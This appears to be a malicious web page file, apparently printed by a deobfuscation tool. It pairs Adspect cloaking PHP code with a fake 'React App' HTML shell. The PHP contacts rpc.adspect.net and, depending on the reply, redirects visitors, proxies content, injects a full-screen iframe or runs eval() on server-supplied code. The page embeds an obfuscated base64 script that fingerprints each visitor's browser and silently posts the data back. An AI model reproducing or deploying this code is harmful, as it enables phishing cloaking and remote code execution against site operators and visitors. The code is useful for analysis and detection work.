adspect_dig($_SERVER, 'HTTP_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36')); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if (!isset($scheme)) { $scheme = 'http'; } if (!isset($host)) { $host = adspect_dig($_SERVER, 'HTTP_HOST', 'localhost'); } if (isset($user, $pass)) { curl_setopt($curl, CURLOPT_USERPWD, "$user:$pass"); $host = "$user:$pass@$host"; } if (isset($port)) { curl_setopt($curl, CURLOPT_PORT, $port); $host = "$host:$port"; } $origin = "$scheme://$host"; if (!isset($path)) { $path = '/'; } if ($path[0] !== '/') { $path = "/$path"; } $url = $path; if (isset($query)) { $url .= "?$query"; } curl_setopt($curl, CURLOPT_URL, $origin . $url); $headers = adspect_proxy_headers('HTTP_ACCEPT', 'HTTP_ACCEPT_ENCODING', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_COOKIE'); $headers[] = 'Cache-Control: no-cache'; if ($xff !== '') { $headers[] = "X-Forwarded-For: {$xff}"; } curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); $data = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE); curl_close($curl); http_response_code($code); if (is_string($data)) { if (isset($param, $key) && preg_match('{^text/(?:html|css)}i', $type)) { $base = $path; if ($base[-1] !== '/') { $base = dirname($base); } $base = rtrim($base, '/'); $rw = function ($m) use ($origin, $base, $param, $key) { list($repl, $what, $url) = $m; $url = htmlspecialchars_decode($url); $url = parse_url($url); if (!empty($url)) { extract($url); if (isset($host)) { if (!isset($scheme)) { $scheme = 'http'; } $host = "$scheme://$host"; if (isset($user, $pass)) { $host = "$user:$pass@$host"; } if (isset($port)) { $host = "$host:$port"; } } else { $host = $origin; } if (!isset($path)) { $path = ''; } if (!strlen($path) || $path[0] !== '/') { $path = "$base/$path"; } if (!isset($query)) { $query = ''; } $host = base64_encode(adspect_crypt($host, $key)); parse_str($query, $query); $query[$param] = "$path#$host"; $repl = '?' . http_build_query($query); if (isset($fragment)) { $repl .= "#$fragment"; } $repl = htmlspecialchars($repl); if ($what[-1] === '=') { $repl = "\"$repl\""; } $repl = $what . $repl; } return $repl; }; $re = '{(href=|src=|url\()["\']?((?:https?:|(?!#|[[:alnum:]]+:))[^"\'[:space:]>)]+)["\']?}i'; $data = preg_replace_callback($re, $rw, $data); } } else { $data = ''; } header("Content-Type: $type"); header('Content-Length: ' . strlen($data)); echo $data; } function adspect($sid, $mode, $param, $key) { if (!function_exists('curl_init')) { adspect_exit(500, 'php-curl extension is missing'); } if (!function_exists('json_encode') || !function_exists('json_decode')) { adspect_exit(500, 'php-json extension is missing'); } $xff = adspect_x_forwarded_for(); $addr = adspect_dig($xff, 0); $xff = implode(', ', $xff); if (array_key_exists($param, $_GET) && strpos($_GET[$param], '#') !== false) { list($url, $host) = explode('#', $_GET[$param], 2); $host = adspect_crypt(base64_decode($host), $key); unset($_GET[$param]); $query = http_build_query($_GET); $url = "$host$url?$query"; adspect_proxy($url, $xff, $param, $key); exit; } $ajax = intval($mode === 'ajax'); $curl = curl_init(); $sid = adspect_dig($_GET, '__sid', $sid); $ua = adspect_dig($_SERVER, 'HTTP_USER_AGENT'); $referrer = adspect_dig($_SERVER, 'HTTP_REFERER'); $query = http_build_query($_GET); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $payload = json_decode($_POST['data'], true); $payload['headers'] = adspect_headers(); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($payload)); } if ($ajax) { header('Access-Control-Allow-Origin: *'); $cid = adspect_dig($_SERVER, 'HTTP_X_REQUEST_ID'); } else { $cid = adspect_dig($_COOKIE, '_cid'); } curl_setopt($curl, CURLOPT_FORBID_REUSE, true); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 60); curl_setopt($curl, CURLOPT_TIMEOUT, 60); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_ENCODING, ''); curl_setopt($curl, CURLOPT_HTTPHEADER, [ 'Accept: application/json', "X-Forwarded-For: {$xff}", "X-Forwarded-Host: {$_SERVER['HTTP_HOST']}", "X-Request-ID: {$cid}", "Adspect-IP: {$addr}", "Adspect-UA: {$ua}", "Adspect-JS: {$ajax}", "Adspect-Referrer: {$referrer}", ]); curl_setopt($curl, CURLOPT_URL, "https://rpc.adspect.net/v2/{$sid}?{$query}"); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($curl); if ($errno = curl_errno($curl)) { adspect_exit(500, 'curl error: ' . curl_strerror($errno)); } $code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); header('Cache-Control: no-store'); switch ($code) { case 200: case 202: $data = json_decode($json, true); if (!is_array($data)) { adspect_exit(500, 'Invalid backend response'); } global $_adspect; $_adspect = $data; extract($data); if ($ajax) { switch ($action) { case 'php': ob_start(); eval($target); $data['target'] = ob_get_clean(); $json = json_encode($data); break; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { header('Content-Type: application/json'); echo $json; } else { header('Content-Type: application/javascript'); echo "window._adata={$json};"; return $target; } } else { if ($js) { setcookie('_cid', $cid, time() + 60); return $target; } switch ($action) { case 'local': return adspect_serve_local($target); case 'noop': adspect_spoof_request($target); return null; case '301': case '302': case '303': header("Location: {$target}", true, (int)$action); break; case 'xar': header("X-Accel-Redirect: {$target}"); break; case 'xsf': header("X-Sendfile: {$target}"); break; case 'refresh': header("Refresh: 0; url={$target}"); adspect_spoof_request(); return null; case 'meta': $target = htmlspecialchars($target); echo "<!DOCTYPE html><head><meta http-equiv=\"refresh\" content=\"0; url={$target}\"></head>"; break; case 'iframe': $target = htmlspecialchars($target); echo "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"></head><body><iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe></body></html>"; break; case 'proxy': adspect_proxy($target, $xff, $param, $key); break; case 'fetch': adspect_proxy($target, $xff); break; case 'return': if (is_numeric($target)) { http_response_code((int)$target); } else { adspect_exit(500, 'Non-numeric status code'); } break; case 'php': eval($target); break; case 'js': $target = htmlspecialchars(base64_encode($target)); echo "<!DOCTYPE html><body><script src=\"data:text/javascript;base64,{$target}\"></script></body>"; break; } } exit; case 404: adspect_exit(404, 'Stream not found'); default: adspect_exit($code, 'Backend response code ' . $code); } } } $target = adspect('6c1f4779-3605-4a83-a9b9-1069507aadf3', 'redirect', '_', base64_decode('kynRFTMaAgRahOwayHLUz52x2i3579pG+LEYltWKHC4=')); if (!isset($target)) { return; } ?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" href="favicon.ico" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="theme-color" content="#000000" />
    <meta
      name="description"
      content="Web site created using create-react-app"
    />
    <link rel="apple-touch-icon" href="logo192.png" />
    <link rel="manifest" href="manifest.json" />
    <title>React App</title>
  </head>
  <body>
    <noscript>You need to enable JavaScript to run this app.</noscript>
    <div id="root">
      <script src="data:text/javascript;base64,KGZ1bmN0aW9uKF8weDNjZDM4NixfMHg1ODU2MjUpe3ZhciBfMHhlMTU0Yj1fMHgxNjQ2LF8weDI5Mzk4ZD1fMHgzY2QzODYoKTt3aGlsZSghIVtdKXt0cnl7dmFyIF8weDJhZmJiNT0tcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzApKS8weDEqKC1wYXJzZUludChfMHhlMTU0YigweDFjYikpLzB4MikrLXBhcnNlSW50KF8weGUxNTRiKDB4MWQ3KSkvMHgzKihwYXJzZUludChfMHhlMTU0YigweDFkMykpLzB4NCkrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxZGUpKS8weDUqKHBhcnNlSW50KF8weGUxNTRiKDB4MWRmKSkvMHg2KSstcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYmYpKS8weDcqKHBhcnNlSW50KF8weGUxNTRiKDB4MWNlKSkvMHg4KSstcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzcpKS8weDkqKC1wYXJzZUludChfMHhlMTU0YigweDFkMSkpLzB4YSkrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxYzIpKS8weGIqKC1wYXJzZUludChfMHhlMTU0YigweDFkNikpLzB4YykrcGFyc2VJbnQoXzB4ZTE1NGIoMHgxZWIpKS8weGQqKC1wYXJzZUludChfMHhlMTU0YigweDFjZikpLzB4ZSk7aWYoXzB4MmFmYmI1PT09XzB4NTg1NjI1KWJyZWFrO2Vsc2UgXzB4MjkzOThkWydwdXNoJ10oXzB4MjkzOThkWydzaGlmdCddKCkpO31jYXRjaChfMHg1N2E4NzQpe18weDI5Mzk4ZFsncHVzaCddKF8weDI5Mzk4ZFsnc2hpZnQnXSgpKTt9fX0oXzB4MTVmYiwweGQzM2I3KSwoZnVuY3Rpb24oKXt2YXIgXzB4NDdlODIzPV8weDE2NDYsXzB4ZGE3YzlkPVtdLF8weDIxMGM3ND17fTt0cnl7ZnVuY3Rpb24gXzB4Mjc3YmQ5KF8weDU0OGRkZil7dmFyIF8weDE5NmEyOT1fMHgxNjQ2O2lmKCdvYmplY3QnPT09dHlwZW9mIF8weDU0OGRkZiYmbnVsbCE9PV8weDU0OGRkZil7dmFyIF8weDQyOTg0MT17fTtmdW5jdGlvbiBfMHgxNzFmMGMoXzB4M2FiZTY5KXt2YXIgXzB4MTZiN2YyPV8weDE2NDY7dHJ5e3ZhciBfMHgyMzYzOTQ9XzB4NTQ4ZGRmW18weDNhYmU2OV07c3dpdGNoKHR5cGVvZiBfMHgyMzYzOTQpe2Nhc2UgXzB4MTZiN2YyKDB4MWJkKTppZihudWxsPT09XzB4MjM2Mzk0KWJyZWFrO2Nhc2UgXzB4MTZiN2YyKDB4MWJiKTpfMHgyMzYzOTQ9XzB4MjM2Mzk0Wyd0b1N0cmluZyddKCk7fV8weDQyOTg0MVtfMHgzYWJlNjldPV8weDIzNjM5NDt9Y2F0Y2goXzB4NTljYjE4KXtfMHhkYTdjOWRbXzB4MTZiN2YyKDB4MWVmKV0oXzB4NTljYjE4W18weDE2YjdmMigweDFiYyldKTt9fWZvcih2YXIgXzB4MTAzMmI3IGluIF8weDU0OGRkZilfMHgxNzFmMGMoXzB4MTAzMmI3KTt0cnl7dmFyIF8weDRhZGEzNj1PYmplY3RbXzB4MTk2YTI5KDB4MWVjKV0oXzB4NTQ4ZGRmKTtmb3IoXzB4MTAzMmI3PTB4MDtfMHgxMDMyYjc8XzB4NGFkYTM2W18weDE5NmEyOSgweDFkNCldOysrXzB4MTAzMmI3KV8weDE3MWYwYyhfMHg0YWRhMzZbXzB4MTAzMmI3XSk7XzB4NDI5ODQxWychISddPV8weDRhZGEzNjt9Y2F0Y2goXzB4NGI0ZGQ0KXtfMHhkYTdjOWRbJ3B1c2gnXShfMHg0YjRkZDRbXzB4MTk2YTI5KDB4MWJjKV0pO31yZXR1cm4gXzB4NDI5ODQxO319XzB4MjEwYzc0W18weDQ3ZTgyMygweDFjMSldPV8weDI3N2JkOSh3aW5kb3dbXzB4NDdlODIzKDB4MWMxKV0pLF8weDIxMGM3NFtfMHg0N2U4MjMoMHgxZTIpXT1fMHgyNzdiZDkod2luZG93KSxfMHgyMTBjNzRbJ25hdmlnYXRvciddPV8weDI3N2JkOSh3aW5kb3dbXzB4NDdlODIzKDB4MWI4KV0pLF8weDIxMGM3NFsnbG9jYXRpb24nXT1fMHgyNzdiZDkod2luZG93W18weDQ3ZTgyMygweDFkYildKSxfMHgyMTBjNzRbXzB4NDdlODIzKDB4MWU1KV09XzB4Mjc3YmQ5KHdpbmRvd1snY29uc29sZSddKSxfMHgyMTBjNzRbXzB4NDdlODIzKDB4MWNkKV09ZnVuY3Rpb24oXzB4NWFmMGNkKXt2YXIgXzB4NGYxYTgxPV8weDQ3ZTgyMzt0cnl7dmFyIF8weDFlYTgyNT17fTtfMHg1YWYwY2Q9XzB4NWFmMGNkW18weDRmMWE4MSgweDFiNSldO2Zvcih2YXIgXzB4MTBjYjNhIGluIF8weDVhZjBjZClfMHgxMGNiM2E9XzB4NWFmMGNkW18weDEwY2IzYV0sXzB4MWVhODI1W18weDEwY2IzYVtfMHg0ZjFhODEoMHgxZTYpXV09XzB4MTBjYjNhW18weDRmMWE4MSgweDFlMSldO3JldHVybiBfMHgxZWE4MjU7fWNhdGNoKF8weGJhMzQzZCl7XzB4ZGE3YzlkW18weDRmMWE4MSgweDFlZildKF8weGJhMzQzZFsnbWVzc2FnZSddKTt9fShkb2N1bWVudFtfMHg0N2U4MjMoMHgxY2QpXSksXzB4MjEwYzc0W18weDQ3ZTgyMygweDFkOSldPV8weDI3N2JkOShkb2N1bWVudCk7dHJ5e18weDIxMGM3NFtfMHg0N2U4MjMoMHgxZTgpXT1uZXcgRGF0ZSgpW18weDQ3ZTgyMygweDFiNyldKCk7fWNhdGNoKF8weDQ3OWQ5ZSl7XzB4ZGE3YzlkW18weDQ3ZTgyMygweDFlZildKF8weDQ3OWQ5ZVtfMHg0N2U4MjMoMHgxYmMpXSk7fXRyeXtfMHgyMTBjNzRbJ2Nsb3N1cmUnXT1mdW5jdGlvbigpe31bXzB4NDdlODIzKDB4MWRkKV0oKTt9Y2F0Y2goXzB4MTg2MGVhKXtfMHhkYTdjOWRbJ3B1c2gnXShfMHgxODYwZWFbXzB4NDdlODIzKDB4MWJjKV0pO310cnl7XzB4MjEwYzc0Wyd0b3VjaEV2ZW50J109ZG9jdW1lbnRbXzB4NDdlODIzKDB4MWUwKV0oXzB4NDdlODIzKDB4MWU0KSlbXzB4NDdlODIzKDB4MWRkKV0oKTt9Y2F0Y2goXzB4MjNjZTFhKXtfMHhkYTdjOWRbXzB4NDdlODIzKDB4MWVmKV0oXzB4MjNjZTFhW18weDQ3ZTgyMygweDFiYyldKTt9dHJ5e3ZhciBfMHgzMjQ2YmQ9ZnVuY3Rpb24oKXt9LF8weDMwNTY1ZD0weDA7XzB4MzI0NmJkW18weDQ3ZTgyMygweDFkZCldPWZ1bmN0aW9uKCl7cmV0dXJuKytfMHgzMDU2NWQsJyc7fSxjb25zb2xlW18weDQ3ZTgyMygweDFiOSldKF8weDMyNDZiZCksXzB4MjEwYzc0Wyd0b3N0cmluZyddPV8weDMwNTY1ZDt9Y2F0Y2goXzB4MzYwODM4KXtfMHhkYTdjOWRbJ3B1c2gnXShfMHgzNjA4MzhbXzB4NDdlODIzKDB4MWJjKV0pO310cnl7dmFyIF8weDhmYzNkMz1kb2N1bWVudFtfMHg0N2U4MjMoMHgxZGMpXShfMHg0N2U4MjMoMHgxZWQpKVsnZ2V0Q29udGV4dCddKF8weDQ3ZTgyMygweDFkOCkpLF8weDI5MzU5Yj1fMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWJlKV0oXzB4NDdlODIzKDB4MWM0KSk7XzB4MjEwYzc0W18weDQ3ZTgyMygweDFkOCldPXsndmVuZG9yJzpfMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWM2KV0oXzB4MjkzNTliWydVTk1BU0tFRF9WRU5ET1JfV0VCR0wnXSksJ3JlbmRlcmVyJzpfMHg4ZmMzZDNbXzB4NDdlODIzKDB4MWM2KV0oXzB4MjkzNTliW18weDQ3ZTgyMygweDFjOCldKX07fWNhdGNoKF8weDQ4NDFhNil7XzB4ZGE3YzlkW18weDQ3ZTgyMygweDFlZildKF8weDQ4NDFhNltfMHg0N2U4MjMoMHgxYmMpXSk7fWZ1bmN0aW9uIF8weDkzNTEyNyhfMHg5ODk1YmQsXzB4Nzc5NWQ0LF8weDRlOTM5Yil7dmFyIF8weDI1ODc1OD1fMHg0N2U4MjMsXzB4MjBkODFlPV8weDk4OTViZFtfMHgyNTg3NTgoMHgxZWUpXVtfMHg3Nzk1ZDRdO18weDk4OTViZFtfMHgyNTg3NTgoMHgxZWUpXVtfMHg3Nzk1ZDRdPWZ1bmN0aW9uKCl7dmFyIF8weDM4ZDgwZj1fMHgyNTg3NTg7XzB4MjEwYzc0W18weDM4ZDgwZigweDFkYSldPSEweDA7fSxfMHg0ZTkzOWIoKSxfMHg5ODk1YmRbXzB4MjU4NzU4KDB4MWVlKV1bXzB4Nzc5NWQ0XT1fMHgyMGQ4MWU7fXRyeXtfMHg5MzUxMjcoQXJyYXksJ2luY2x1ZGVzJyxmdW5jdGlvbigpe3ZhciBfMHg0NTJmOWI9XzB4NDdlODIzO3JldHVybiBkb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCd2aWRlbycpW18weDQ1MmY5YigweDFlNyldKF8weDQ1MmY5YigweDFlYSkpO30pO31jYXRjaChfMHg1N2Q4YjApe319Y2F0Y2goXzB4NTFlMDY3KXtfMHhkYTdjOWRbXzB4NDdlODIzKDB4MWVmKV0oXzB4NTFlMDY3W18weDQ3ZTgyMygweDFiYyldKTt9KGZ1bmN0aW9uKCl7dmFyIF8weDM2YTk1ZD1fMHg0N2U4MjM7XzB4MjEwYzc0W18weDM2YTk1ZCgweDFkMCldPV8weGRhN2M5ZDt2YXIgXzB4NTYwM2VkPWRvY3VtZW50WydjcmVhdGVFbGVtZW50J10oXzB4MzZhOTVkKDB4MWMzKSksXzB4MzQwNGI3PWRvY3VtZW50WydjcmVhdGVFbGVtZW50J10oXzB4MzZhOTVkKDB4MWNjKSk7XzB4NTYwM2VkW18weDM2YTk1ZCgweDFjNSldPV8weDM2YTk1ZCgweDFjOSksXzB4NTYwM2VkWydhY3Rpb24nXT13aW5kb3dbXzB4MzZhOTVkKDB4MWRiKV1bXzB4MzZhOTVkKDB4MWNhKV0sXzB4MzQwNGI3W18weDM2YTk1ZCgweDFlMyldPSdoaWRkZW4nLF8weDM0MDRiN1snbmFtZSddPSdkYXRhJyxfMHgzNDA0YjdbXzB4MzZhOTVkKDB4MWJhKV09SlNPTltfMHgzNmE5NWQoMHgxZTkpXShfMHgyMTBjNzQpLF8weDU2MDNlZFtfMHgzNmE5NWQoMHgxYjYpXShfMHgzNDA0YjcpLGRvY3VtZW50W18weDM2YTk1ZCgweDFkNSldW18weDM2YTk1ZCgweDFiNildKF8weDU2MDNlZCksXzB4NTYwM2VkW18weDM2YTk1ZCgweDFkMildKCk7fSgpKTt9KCkpKTtmdW5jdGlvbiBfMHgxNjQ2KF8weDNmNTJjMSxfMHg0NDJmODYpe3ZhciBfMHgxNWZiZjA9XzB4MTVmYigpO3JldHVybiBfMHgxNjQ2PWZ1bmN0aW9uKF8weDE2NDZiMixfMHgxN2M4MjEpe18weDE2NDZiMj1fMHgxNjQ2YjItMHgxYjU7dmFyIF8weDRjODk3OD1fMHgxNWZiZjBbXzB4MTY0NmIyXTtyZXR1cm4gXzB4NGM4OTc4O30sXzB4MTY0NihfMHgzZjUyYzEsXzB4NDQyZjg2KTt9ZnVuY3Rpb24gXzB4MTVmYigpe3ZhciBfMHgzYzQwMWM9Wyc2OUNEd0lraCcsJ3dlYmdsJywnZG9jdW1lbnQnLCdwcm90bycsJ2xvY2F0aW9uJywnY3JlYXRlRWxlbWVudCcsJ3RvU3RyaW5nJywnNDIwNzkwY0xnbE9VJywnNzhHYWp1ZHAnLCdjcmVhdGVFdmVudCcsJ25vZGVWYWx1ZScsJ3dpbmRvdycsJ3R5cGUnLCdUb3VjaEV2ZW50JywnY29uc29sZScsJ25vZGVOYW1lJywnY2FuUGxheVR5cGUnLCd0aW1lem9uZU9mZnNldCcsJ3N0cmluZ2lmeScsJ3ZpZGVvL21wNCcsJzE3MDU3M2FJUkZLVicsJ2dldE93blByb3BlcnR5TmFtZXMnLCdjYW52YXMnLCdwcm90b3R5cGUnLCdwdXNoJywnYXR0cmlidXRlcycsJ2FwcGVuZENoaWxkJywnZ2V0VGltZXpvbmVPZmZzZXQnLCduYXZpZ2F0b3InLCdsb2cnLCd2YWx1ZScsJ2Z1bmN0aW9uJywnbWVzc2FnZScsJ29iamVjdCcsJ2dldEV4dGVuc2lvbicsJzU4MU1nVW9PdicsJzE4eG1qRkhuJywnc2NyZWVuJywnMTFBUXRPdnknLCdmb3JtJywnV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbycsJ21ldGhvZCcsJ2dldFBhcmFtZXRlcicsJzE0MjczNzNRUHpLSkUnLCdVTk1BU0tFRF9SRU5ERVJFUl9XRUJHTCcsJ1BPU1QnLCdocmVmJywnMTc4NzM4cFJFeEpnJywnaW5wdXQnLCdkb2N1bWVudEVsZW1lbnQnLCc0Nzg0OENoa1lHbicsJzUzMlFxT1lhdicsJ2Vycm9ycycsJzIwcVlEZXpxJywnc3VibWl0JywnMTQzODY4b2duQld4JywnbGVuZ3RoJywnYm9keScsJzM5ODkwNTJyS0N5S0knXTtfMHgxNWZiPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDNjNDAxYzt9O3JldHVybiBfMHgxNWZiKCk7fQ=="></script>
    </div>
  </body>
</html>

Function Calls

None

Variables

None

Stats

MD5 4c80ccee65a97e997cfac8643bd22345
Eval Count 0
Decode Time 401 ms